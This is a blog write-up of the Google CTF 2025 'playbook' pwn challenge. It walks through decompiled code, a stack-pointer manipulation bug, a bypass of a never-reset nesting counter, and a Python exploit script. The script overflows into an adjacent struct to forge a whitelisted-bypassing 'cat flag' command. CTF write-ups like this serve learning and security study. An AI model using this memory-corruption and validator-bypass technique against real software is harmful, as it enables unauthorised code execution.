CTF WRITEUPS

google ctf 2025 - pwn-playbook

I had been doing some exploitation at university already, but never really participated in any ctfs. So when I found out about my universities ctf team, I obviously wanted to join! So when Google ctf came around I was exited and wanted to try some pwn challenge. Joining forces with a good friend of mine, we first tried the webz challenge and quickly realized our boundaries. The playbook challenge however seemed doable, so we tried it :D

We simply get a binary without any source code of the program. Seemed morelike a reversing challenge though... Doesnt matter

The structure of the program is simple: You can create playbooks, execute and delete them. Whats a playbook? Well... lets look at the example given by the programs manual :D


note: Daily routine
STEP
  note: Check time
  STEP
    cmd: date
  ENDSTEP
  STEP
    note: Double check
  ENDSTEP
  STEP
    cmd: sleep 1
  ENDSTEP
  STEP
    cmd: date
  ENDSTEP
ENDSTEP
STEP
  note: List files
  STEP
    cmd: ls
  ENDSTEP
ENDSTEP
	

When we execute the playbook, this will first show a note with the content "check time", then execute the shell command 'date' and output its output and so on. Well this looks easy, we can just specify shell commands, getting the flag should be easy, right?

=== MENU ===
Enter new playbook in the SOPS language. Empty line finishes the entry.
cmd: cat flag
Blocking potentially dangerous command. Contact our sales department if you need whitelist updates.
	

Hmmm, thats not it. Lets take a look at it in IDA. Finding out all the types was a bit painful, but we got there. The most interesting part is the new_playbook function, since this is the ONLY point where they check for 'dangerous' commands. Suspicious...


struct __fixed playbook_struct // sizeof=0x22C
{                                       // XREF: .bss:playbooks/r
    int status;
    int children[10];                   // XREF: add_child+34/o
                                        // add_child+5F/o ...
    char text[512];
};


int allocate_playbook()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 1; ; ++i )
  {
    if ( i > 1023 )
    {
      puts("Out of memory.");
      exit(1);
    }
    if ( (playbooks[i].status & 1) == 0 )
      break;
  }
  j_memset_ifunc(&playbooks[i], 0, 556);

  playbooks[i].status = 1;
  return i;
}


__int64 new_playbook()
{
  int v0; // r8d
  int v1; // r9d
  int *v2; // rbx
  int v3; // r8d
  int v4; // r9d
  int v5; // r8d
  int v6; // r9d
  int v7; // edx
  int v8; // ecx
  int v9; // r8d
  int v10; // r9d
  char user_input[2048]; // [rsp+0h] [rbp-1050h] BYREF
  _BYTE text[2048]; // [rsp+800h] [rbp-850h] BYREF
  unsigned int num_bytes; // [rsp+1000h] [rbp-50h]
  int playbook_id; // [rsp+1004h] [rbp-4Ch] BYREF
  int *playbook_id_ptr; // [rsp+1030h] [rbp-20h]
  int can_place_note_or_cmd; // [rsp+1038h] [rbp-18h]

  playbook_id_ptr = &playbook_id;
  can_place_note_or_cmd = 1;
  num_bytes = 251;

  puts("Enter new playbook in the SOPS language. Empty line finishes the entry.");
  playbook_id = allocate_playbook();

  while ( fgets(user_input, num_bytes, stdin) && user_input[0] != '\n' )
  {
    j_memset_ifunc(text, 0, 2048);
    _isoc99_sscanf(user_input, "%s", text, "%s", v0, v1, user_input[0]);

    if ( j_strcmp_ifunc(text, "STEP") )
    {
      if ( j_strcmp_ifunc(text, "ENDSTEP") )
      {
        if ( j_strcmp_ifunc(text, "cmd:") )
        {
          if ( j_strcmp_ifunc(text, "note:") )
          {
            puts("Invalid statement.");
            exit(1);
          }                                     // its a NOTE

          if ( !can_place_note_or_cmd )
          {
            puts("Note and command statements are allowed only immediately after STEP statements.");
            exit(1);
          }

          _isoc99_sscanf(user_input, "%s %[^\n]", text, text, v5, v6, user_input[0]);
          strcpy_ifunc(playbooks[*playbook_id_ptr].text, text);

          playbooks[*playbook_id_ptr].status |= 4u;
        }
        else                                    // its a CMD
        {
          if ( !can_place_note_or_cmd )
          {
            puts("Note and command statements are allowed only immediately after STEP statements.");
            exit(1);
          }

          _isoc99_sscanf(user_input, "%s %[^\n]", text, text, v3, v4, user_input[0]);
          validate_command(text);

          strcpy_ifunc(playbooks[*playbook_id_ptr].text, text);
          playbooks[*playbook_id_ptr].status |= 2u;
        }
      }
      else                                      // its an ENDSTEP
      {
        --playbook_id_ptr;
        if ( --nesting_depth < 0 )
        {
          puts("Mismatched STEP and ENDSTEP.");
          exit(1);
        }
      }
      can_place_note_or_cmd = 0;
    }
    else                                        // its a STEP
    {
      ++playbook_id_ptr;
      if ( ++nesting_depth > 9 )
      {
        puts("Max nesting depth reached.");
        exit(1);
      }

      v2 = playbook_id_ptr;
      *v2 = allocate_playbook();

      add_child(*(playbook_id_ptr - 1), *playbook_id_ptr);
      can_place_note_or_cmd = 1;
    }
  }

  return printf("Saved playbook (id %d).\n\n", playbook_id, v7, v8, v9, v10);
}
	

The playbooks seem to be stored in the form of an array of playbook_structs in .bss which I called playbooks. When a new playbook is allocated (which is also every time a new STEP occurs), they do a linear search on the array, checking its lowest status bit. 0 means free and 1 allocated. The second lowest bit indicates a command and the third one a note. A STEP between a STEP and ENDSTEP results in a child, with all childrens ids being placed in the childrens array of the parents playbook_struct (we have at most 10 children per playbook). validate_command() checks for forbidden commands (they only allow date, ls and sleep). I checked for typical stuff such as bounds checks when reading from stdin, but that all seemed fine.

When I renamed stuff in IDA and tried to make it easier to understand, one thing freaked me out: Why are they getting the pointer of the stack variable playbook_id? Wouldnt it be possible to just work with the playbook id? And why are they doing pointer arithmetic on that pointer??? I blamed IDA. But it turns out, thats part of the vulnerability... Let take a STEP for example: The parser reads STEP and decreases playbook_id_ptr, which is a reference to an integer on the stack. It now points to another variable on the stack, right? Well yeah. When do we write to it? Ah, also during the STEP parsing, when allocate_playbook returns. This function will return the id of the new playbook.

So we can increase and decrease a pointer to the stack and also pretty easily control the integer written to it. Lets look for some candidates who would like to be overwritten :D


char user_input[2048]; // [rsp+0h] [rbp-1050h] BYREF
_BYTE text[2048]; // [rsp+800h] [rbp-850h] BYREF
unsigned int num_bytes; // [rsp+1000h] [rbp-50h]
int playbook_id; // [rsp+1004h] [rbp-4Ch] BYREF
int *playbook_id_ptr; // [rsp+1030h] [rbp-20h]

Looking at the stack of new_playbook, one variable sticks out: num_bytes, the amount a bytes read in from stdin. This ones fixed to 251 in the binary and would therefore block any attempts at writing over the bounds of a playbook into the status bits of the next one. But seeing this, the attack vector becomes clear:

We allocate hundrets of dummy playbooks such that the ids of a new playbook will be high. Thats the value which will later on be returned by allocate_playbook and written to *v2. But still, we have to point at num_bytes with v2 when calling allocate_playbook. num_bytes lies sizeof(int) bytes below playbook_id on the stack. But if we want to write to that position, we have to do a STEP, which also includes increasing the pointer by 4 bytes before calling allocate_playbook. So before we parse the STEP, the pointer needs to be decreased by an offset of 8 bytes, which we achieve with two ENDSTEPs.

The problem is, that we cannot put two ENDSTEPS without placing to STEPS before that, since they check for a nesting_depth >= 0. This would always lead to a problem for us, because the pointer could never be set right, if we have more STEPS than ENDSTEPS. Lukily for us, theres an easy solution :D

The nesting check is based on a global variable, which is never reset. So we simply supply an invalid playbook with two STEPs, which will increase nesting_depth to two. So now we create another playbook and start with a nesting depth of 2, circumventing the check.


Note that the script uses sockets, because I started the binary with ynetd.

import socket

host = "localhost"
port = 1234

# ... some helper functions ...

connect()

flag_cmd = b"cat flag"
struct_size = 0x22c
num_dummies = struct_size + 10

# the amount of dummy playbooks we create will affect the amount of bytes
# we can write later on
for i in range(num_dummies):
    create_new_playbook(b"note: dieter" + b"\n")

# now increase nesting to 2 to later on be able to decrease it by 2
# which will decrease playbook_id_ptr by 8 bytes
# after that, we STEP once more, increasing it by 4 bytes, pointing
# it directly at the num_bytes variable
# STEP will also allocate a new playbook and set the return value
# of allocate_playbook to the int pointed to by playbook_id_ptr
create_new_playbook(b"STEP\nSTEP\n")

# after the new num_bytes value has been set, we can write two adjacent
# playbooks at once and therefore also overwrite the status bits of
# the second one
create_new_playbook(b"ENDSTEP\nENDSTEP\nSTEP\nnote: " + 

                    # first playbook
                    512 * b"a" +                        # text

                    # second playbook
                    b"\x03bbb" +                        # status bits
                    40 * b"c" +                         # children
                    flag_cmd +                          # text (shell command)

                    b"\n")

run_playbook(str(num_dummies + 6).encode())

# heres the flag yay :D
recv_until(b"\n")

	

The full script can be found at https://git.sr.ht/~fabiancodes/ctf-writeups/tree/master/item/google-ctf-2025-pwn-playbook/pwn.py


In the last create_new_playbook call, we create two playbooks at once. We fill the text field of the first playbook with a's. The following bytes will be part of the next playbook, starting with its status bits. Since this is the final cmd playbook with the 'cat flag' command, it has to have the ALLOCATED | CMD bits set, which corresponds to a byte with value 3. We go on by filling the remaining unrelevant status bits and the children array. It does not really matter what we write there as long as its not a null byte. Finally, we write the shell command in the text field of the playbook. And done! Now we just have to run the last playbook and that will give us the flag :D